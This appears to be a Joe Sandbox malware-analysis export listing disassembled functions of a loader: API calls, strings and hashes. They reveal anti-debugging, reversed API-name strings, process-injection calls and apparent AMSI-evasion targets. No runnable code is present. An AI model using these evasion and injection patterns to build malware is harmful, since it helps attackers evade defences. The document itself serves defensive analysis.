GetThreadContext.KERNEL32(0000089C,03247424,ScanString,032473A8,031DA93C,UacInitialize,032473A8,031DA93C,ScanBuffer,032473A8,031DA93C,ScanBuffer,032473A8,031DA93C,UacInitialize,032473A8), ref: 031D9602

Part of subcall function 031D8400: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 031D8471

Part of subcall function 031D8670: NtUnmapViewOfSection.NTDLL(?,?), ref: 031D86D5

Part of subcall function 031D7A2C: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 031D7A9F

Strings

dbgcore, xrefs: 031DA719, 031DA72D
bcrypt, xrefs: 031DA578, 031DA58C, 031DA5A0
NtSetSecurityObject, xrefs: 031DA88F
advapi32, xrefs: 031DA705
UacInitialize, xrefs: 031D9032, 031D9393, 031D9512, 031D9616, 031DA330
ScanBuffer, xrefs: 031D8ECC, 031D8F54, 031D92EF, 031D9404, 031D94A1, 031D97DA, 031D9961, 031D9AF4, 031D9CD9, 031D9DEE, 031D9FAC, 031DA11C, 031DA28F, 031DA483, 031DA6A1, 031DA7E7
ntdll, xrefs: 031DA625, 031DA639, 031DA6F1, 031DA894, 031DA8A8
BCryptRegisterProvider, xrefs: 031DA59B
I_QueryTagInformation, xrefs: 031DA700
SLGetLicenseInformation, xrefs: 031D935F
OpenSession, xrefs: 031D8DA9, 031D91CC, 031D927E, 031DA64F, 031DA795
Initialize, xrefs: 031D90EA, 031D96F8, 031D987F, 031D9C68, 031D9ECA, 031DA03A, 031DA1AD, 031DA412, 031DA743
MiniDumpWriteDump, xrefs: 031DA714
BCryptQueryProviderRegistration, xrefs: 031DA587
ScanString, xrefs: 031D8E02, 031D8FAD, 031D915B, 031D9583, 031D9769, 031D98F0, 031D9D7D, 031D9F3B, 031DA0AB, 031DA21E, 031DA509, 031DA5B6
NtOpenProcess, xrefs: 031DA8A3
UacScan, xrefs: 031D8E73, 031D908B, 031D9687, 031D9A83, 031D9BF7, 031DA3A1, 031DA839
NtOpenObjectAuditAlarm, xrefs: 031DA634, 031DA6EC
MiniDumpReadDumpStream, xrefs: 031DA728
sppc, xrefs: 031D9376
BCryptVerifySignature, xrefs: 031DA573
NtReadVirtualMemory, xrefs: 031DA620

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: MemoryVirtual$AllocateContextCreateFreeLibraryProcessReadSectionThreadUnmapUserView
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 3386062106-51457883
Opcode ID: 4b832500cbcb4570588aeb2a98ea4c3d143bb30cd73cf94f4af36b4e693206f6
Instruction ID: 7458e346178a772d0656760dec84859f8210ea15a8c1682db5c6ceb67470a462
Opcode Fuzzy Hash: 4b832500cbcb4570588aeb2a98ea4c3d143bb30cd73cf94f4af36b4e693206f6
Instruction Fuzzy Hash: 48E21B38A142689FCB16FB65DC91BCEB3B9AF9D200F1041A5A055AF215DF30EE86CF51

Function 031C5ACC Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,031C0000,031EE790), ref: 031C5AE8
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,031C0000,031EE790), ref: 031C5B06
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,031C0000,031EE790), ref: 031C5B24
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 031C5B42
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,031C5BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 031C5B8B
RegQueryValueExA.ADVAPI32(?,031C5D38,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,031C5BD1,?,80000001), ref: 031C5BA9
RegCloseKey.ADVAPI32(?,031C5BD8,00000000,?,?,00000000,031C5BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 031C5BCB
lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 031C5BE8
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 031C5BF5
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 031C5BFB
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 031C5C26
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 031C5C6D
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 031C5C7D
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 031C5CA5
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 031C5CB5
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 031C5CDB
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 031C5CEB

Strings

Software\Borland\Locales, xrefs: 031C5AFC, 031C5B1A
Software\Borland\Delphi\Locales, xrefs: 031C5B38

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: 40e88b139ba3392031f3d24379ca56672c24dc662797eb2a123ab211e22c1256
Instruction ID: 5d78f8f275f8bf5ab6c9aa4494f4e4a1c591181ab43a53246d591aa16e5a458d
Opcode Fuzzy Hash: 40e88b139ba3392031f3d24379ca56672c24dc662797eb2a123ab211e22c1256
Instruction Fuzzy Hash: 43511975A5038C7FEB21D6E48C46FEFBBAD8B1D740F5401A9AA00E6082D774EE448B64

Function 031D894C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(bcrypt,?,0000089C,00000000,032473A8,031DA587,ScanString,032473A8,031DA93C,ScanBuffer,032473A8,031DA93C,Initialize,032473A8,031DA93C,UacScan), ref: 031D8960
GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 031D897A
FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,0000089C,00000000,032473A8,031DA587,ScanString,032473A8,031DA93C,ScanBuffer,032473A8,031DA93C,Initialize), ref: 031D89B6

Part of subcall function 031D7D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 031D7DEC

Strings

bcrypt, xrefs: 031D895F
BCryptVerifySignature, xrefs: 031D8973

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
String ID: BCryptVerifySignature$bcrypt
API String ID: 1002360270-4067648912
Opcode ID: 62774bd1f197cc74897c5e3f9b2a7efe254c4761739e058e454944e54a18b9c4
Instruction ID: 06c4ad8b4c82642ee281eb326bd2a625aac8e56c5b4a5efff63622b905aa33c8
Opcode Fuzzy Hash: 62774bd1f197cc74897c5e3f9b2a7efe254c4761739e058e454944e54a18b9c4
Instruction Fuzzy Hash: 45F0C2F96003546FD310FB6CBC8DF577F989799614F084529BD388B144E77028808B90

Function 031DF744 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KernelBase), ref: 031DF754
GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 031DF766
CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 031DF77D

Strings

CheckRemoteDebuggerPresent, xrefs: 031DF760
KernelBase, xrefs: 031DF74F

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: AddressCheckDebuggerHandleModulePresentProcRemote
String ID: CheckRemoteDebuggerPresent$KernelBase
API String ID: 35162468-539270669
Opcode ID: 7e6f95d51c7fdd2d6954dd32d2e1b57890512403d8bb5bdbb8cbbaf4678f01be
Instruction ID: ec25450cbf4c0a9630cdd3f2ab76ecb63d90e87eca1e95a0c250c3d6e7553b1b
Opcode Fuzzy Hash: 7e6f95d51c7fdd2d6954dd32d2e1b57890512403d8bb5bdbb8cbbaf4678f01be
Instruction Fuzzy Hash: 89F0A070904298BFDB10E6F888887DDFBA89B1E225F284394A436A61C2E7750785C6A1

Function 031DDD70 Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 031C4F20: SysAllocStringLen.OLEAUT32(?,?), ref: 031C4F2E

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,031DDE40), ref: 031DDDAB
NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,031DDE40), ref: 031DDDDB
NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 031DDDF0
NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 031DDE1C
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 031DDE25

Part of subcall function 031C4C60: SysFreeString.OLEAUT32(031DF4A4), ref: 031C4C6E

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: File$PathString$AllocCloseFreeInformationNameName_OpenQueryRead
String ID:
API String ID: 1897104825-0
Opcode ID: a43fdb955202aac27b8ca7eafbf82ea7031f221eaab3bdb4a50a693b8774ea54
Instruction ID: 614edaa1b4c7599aec5ab1eab7dec154e5afca6a9aa853780887663f52bfe84d
Opcode Fuzzy Hash: a43fdb955202aac27b8ca7eafbf82ea7031f221eaab3bdb4a50a693b8774ea54
Instruction Fuzzy Hash: 3021ED75A54308BBEB11EAA5DC52FDEB7BCAB4D700F500465B200EB180DBB4AA0487A5

Function 031DE4B8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 031DE5F6

Strings

OpenSession, xrefs: 031DE598
Initialize, xrefs: 031DE4E6
ScanBuffer, xrefs: 031DE53F

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: ffd8dd9293dfc52c02f3efecce634a2ac3ccf4ad757bfedd5ea25ff59f2b0ab9
Instruction ID: 0e40350171209835a30e1584ea9de7ef1d84140dc78ecfb72953ada7cee321dd
Opcode Fuzzy Hash: ffd8dd9293dfc52c02f3efecce634a2ac3ccf4ad757bfedd5ea25ff59f2b0ab9
Instruction Fuzzy Hash: 51413E39B2835C9FDB12EBA5D851ADEB3B9EF9D601F204429E040AF244DF30AD018B65

Function 031DDC8C Relevance: 6.1, APIs: 4, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 031C4F20: SysAllocStringLen.OLEAUT32(?,?), ref: 031C4F2E

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,031DDD5E), ref: 031DDCCB
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 031DDD05
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 031DDD32
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 031DDD3B

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: FilePath$AllocCloseCreateNameName_StringWrite
String ID:
API String ID: 3764614163-0
Opcode ID: 0aa1a385cf9fef4e70948dce89cde1942910bd7840328dbb30c49d6133781403
Instruction ID: f510d48d5e02fd40ec4b40f88dc42b41cf0885feac7d5c3d08c84d85cda48653
Opcode Fuzzy Hash: 0aa1a385cf9fef4e70948dce89cde1942910bd7840328dbb30c49d6133781403
Instruction Fuzzy Hash: 0B210C75A54308BFEB21EAA4DC52FEEB3BCDF09B00F614465B610FB1C0DBB06A048665

Function 031D8788 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62processCOMMON

Download Yara Rule

APIs

Part of subcall function 031D81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,031D823C,?,?,00000000,?,031D7A7E,ntdll,00000000,00000000,031D7AC3,?,?,00000000), ref: 031D820A
Part of subcall function 031D81CC: GetModuleHandleA.KERNELBASE(?), ref: 031D821E

Part of subcall function 031D8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,031D82FC,?,?,00000000,00000000,?,031D8215,00000000,KernelBASE,00000000,00000000,031D823C), ref: 031D82C1
Part of subcall function 031D8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031D82C7
Part of subcall function 031D8274: GetProcAddress.KERNEL32(?,?), ref: 031D82D9

CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 031D8814

Strings

CreateProcessAsUserW, xrefs: 031D87A1
Kernel32, xrefs: 031D87D3

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$CreateProcessUser
String ID: CreateProcessAsUserW$Kernel32
API String ID: 3130163322-2353454454
Opcode ID: b302c50c69f49f0a43aa59df760d5b1f4f441c3f8cd542ae497102ec5477f89e
Instruction ID: c89fa44416b631fa59009a44820467f3d6bc040ca2600cf32d3bb1a73d2ad3b4
Opcode Fuzzy Hash: b302c50c69f49f0a43aa59df760d5b1f4f441c3f8cd542ae497102ec5477f89e
Instruction Fuzzy Hash: 1F11D3B6614248AFDB41EEADDC51F9A77ECEB4DA00F514024BA18D7200D734E9108B25

Function 031D7A2A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 031D81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,031D823C,?,?,00000000,?,031D7A7E,ntdll,00000000,00000000,031D7AC3,?,?,00000000), ref: 031D820A
Part of subcall function 031D81CC: GetModuleHandleA.KERNELBASE(?), ref: 031D821E

Part of subcall function 031D8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,031D82FC,?,?,00000000,00000000,?,031D8215,00000000,KernelBASE,00000000,00000000,031D823C), ref: 031D82C1
Part of subcall function 031D8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031D82C7
Part of subcall function 031D8274: GetProcAddress.KERNEL32(?,?), ref: 031D82D9

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 031D7A9F

Strings

ntdll, xrefs: 031D7A74
yromeMlautriVetacollAwZ, xrefs: 031D7A47

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$AllocateMemoryVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 4072585319-445027087
Opcode ID: 06d9509fb5f560ac682468ce7ed53237841a9b822b725dcafdbc52bdef527be4
Instruction ID: 7cbffe35a13c661fc1b5b6faecba21afd8bbb6634b33e52cb15194b4c4cf93ed
Opcode Fuzzy Hash: 06d9509fb5f560ac682468ce7ed53237841a9b822b725dcafdbc52bdef527be4
Instruction Fuzzy Hash: 8C114479214348BFDB05EFA9EC51E9EB7ACEB4D600F514465B910DB640EB30AA04CB64

Function 031D7A2C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 031D81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,031D823C,?,?,00000000,?,031D7A7E,ntdll,00000000,00000000,031D7AC3,?,?,00000000), ref: 031D820A
Part of subcall function 031D81CC: GetModuleHandleA.KERNELBASE(?), ref: 031D821E

Part of subcall function 031D8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,031D82FC,?,?,00000000,00000000,?,031D8215,00000000,KernelBASE,00000000,00000000,031D823C), ref: 031D82C1
Part of subcall function 031D8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031D82C7
Part of subcall function 031D8274: GetProcAddress.KERNEL32(?,?), ref: 031D82D9

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 031D7A9F

Strings

ntdll, xrefs: 031D7A74
yromeMlautriVetacollAwZ, xrefs: 031D7A47

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$AllocateMemoryVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 4072585319-445027087
Opcode ID: b410be5ef7a2bf21b68c339032f45269f7fda18c96d57d0b3f6ac79fc16425e3
Instruction ID: 7f1741f267ec5ba9e096bdcf4ca7cac94a89f77189604d7751399979908eb2fd
Opcode Fuzzy Hash: b410be5ef7a2bf21b68c339032f45269f7fda18c96d57d0b3f6ac79fc16425e3
Instruction Fuzzy Hash: 0D114479214348BFDB05EF95EC51E9EB7ACEB4D600F514465B910DB640EB30AA04CB64

Function 031D8400 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 031D81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,031D823C,?,?,00000000,?,031D7A7E,ntdll,00000000,00000000,031D7AC3,?,?,00000000), ref: 031D820A
Part of subcall function 031D81CC: GetModuleHandleA.KERNELBASE(?), ref: 031D821E

Part of subcall function 031D8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,031D82FC,?,?,00000000,00000000,?,031D8215,00000000,KernelBASE,00000000,00000000,031D823C), ref: 031D82C1
Part of subcall function 031D8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031D82C7
Part of subcall function 031D8274: GetProcAddress.KERNEL32(?,?), ref: 031D82D9

NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 031D8471

Strings

ntdll, xrefs: 031D8448
yromeMlautriVdaeRtN, xrefs: 031D841B

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$MemoryReadVirtual
String ID: ntdll$yromeMlautriVdaeRtN
API String ID: 2521977463-737317276
Opcode ID: 48f23c1a16f24d381f6567b6fb4cda7d6595ddbfc0c93b79485eba3f48d7a41d
Instruction ID: 4d4735fa2927d1a05726e44e6775e831b271ab7eb3e1a385538a9ecf88a9fde4
Opcode Fuzzy Hash: 48f23c1a16f24d381f6567b6fb4cda7d6595ddbfc0c93b79485eba3f48d7a41d
Instruction Fuzzy Hash: 72012979214348AFDB15EFA9EC51E9EBBACEB4EA00F518464F914DB641DB34A9008B24

Function 031D7D78 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 031D81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,031D823C,?,?,00000000,?,031D7A7E,ntdll,00000000,00000000,031D7AC3,?,?,00000000), ref: 031D820A
Part of subcall function 031D81CC: GetModuleHandleA.KERNELBASE(?), ref: 031D821E

Part of subcall function 031D8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,031D82FC,?,?,00000000,00000000,?,031D8215,00000000,KernelBASE,00000000,00000000,031D823C), ref: 031D82C1
Part of subcall function 031D8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031D82C7
Part of subcall function 031D8274: GetProcAddress.KERNEL32(?,?), ref: 031D82D9

NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 031D7DEC

Strings

Ntdll, xrefs: 031D7DC3
yromeMlautriVetirW, xrefs: 031D7D93

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

